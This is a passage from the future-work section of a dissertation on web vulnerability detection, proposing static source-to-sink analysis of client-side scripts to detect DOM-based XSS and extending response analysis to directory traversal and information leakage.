the response-analysis technique to find other types of vulnerabilities such as directory
traversing and information leakage of sensitive files, of which vulnerabilities can also
be detectable by attempting to request some actions without sending an attack.

In addition to vulnerability detection techniques, future direction includes extending
our research to the use of static analysis. In this dissertation, we proposed a vulnerabil-
ity detection technique against DOM-based XSS using a browser simulator. Running
the browser simulator is a heavy task in the current implementation, even though we
still have room for making a light-weight browser simulator. Since DOM-based XSS
solely works on the client browser, we can detect its vulnerability by analyzing scripts
embedded into the response document. The flow-sensitive approach in a static analysis
is useful for this purpose. By finding every possible path between source (a point of
input) and sink (a point of output) through the scripts at the client side, we are able to
detect DOM-based XSS vulnerabilities. If necessary, the browser simulator can work
for checking the result produced by the static analysis.
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